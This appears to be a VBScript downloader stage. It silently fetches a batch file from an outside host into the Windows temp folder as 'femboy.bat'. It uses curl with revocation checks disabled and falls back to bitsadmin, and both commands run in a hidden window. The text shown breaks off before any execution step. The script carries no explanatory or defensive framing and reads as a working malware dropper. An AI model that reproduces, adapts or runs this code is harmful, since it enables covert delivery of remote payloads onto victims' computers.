Option Explicit

Dim fso, sh, t, s, p, u, q, cmd
Set fso = CreateObject("Scripting.FileSystemObject")
Set sh  = CreateObject("WScript.Shell")

t = sh.ExpandEnvironmentStrings("%TEMP%")
s = "\"
p = t & s & "femboy.bat"
u = "https://www.l81.me/updater.bat"
q = Chr(34)

cmd = "cmd.exe /c curl.exe -sL --ssl-no-revoke -o " & q & p & q & " " & q & u & q
sh.Run cmd, 0, True

If Not fso.FileExists(p) Then
    cmd = "bitsadmin /transfer j /download /priority foreground " & q & u & q & " " & q & p & q
    sh.Run cmd, 0, True
End If
...